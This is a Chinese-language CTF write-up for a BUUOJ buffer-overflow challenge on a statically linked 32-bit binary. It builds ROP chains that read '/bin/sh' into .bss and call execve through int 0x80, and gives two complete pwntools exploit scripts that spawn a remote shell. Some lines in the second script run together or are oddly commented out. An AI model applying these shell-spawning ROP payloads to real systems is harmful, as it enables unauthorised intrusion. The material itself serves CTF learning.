打开ida查看,可以看到是静态编译,所以无法常规用ret2libc
此时可以用最简单的方法系统调用
首先ida上面的偏移量是错误的,我们手动用gdb算一下距离ebp为0x1c
因为要实现execve("/bin/sh",0,0)
找int 0x80,eax,ebx,ecx,edx
因为程序里面没有binsh或sh,所以我们得手动把binsh输入进去,也就是再次调用read函数,read(标准读入0,填入binsh的地址,读入八个字节),binsh的地址我们填入.bss段里面随意一个空白地址
其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。
而最后将sendline('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。
exp1
from pwn import *
io = remote('node5.buuoj.cn',27051)
pop_edx_ecx_ebx_ret=0x0806e850
#execve("/bin/sh",NULL,NULL)
int_0x80=0x080493e1
pop_eax_ret=0x080bae06
binsh_bss=0x080EAF80
read=0x0806CD50
payload=b'a'*(0x1c+4)+p32(read)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(binsh_bss)+p32(8)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_bss)+p32(pop_eax_ret)+p32(11)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')#调用了read,记得手动输入binsh
io.interactive()
这里还可以用ROPgadget来自动生成shellcode,不过因为自动生成的有点长,需要我们改掉一些
exp2
from pwn import *
from struct import pack
io = remote('node5.buuoj.cn',27051)
# Padding goes here
p = b'a'*(0x1c+4)p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
"""
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
"""
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
"""
p += p32(0x0)
p += p32(0x0)p += pack('<I', 0x080ea060) # padding without overwrite ebx
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
"""
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
io.sendline(p)
io.interactive()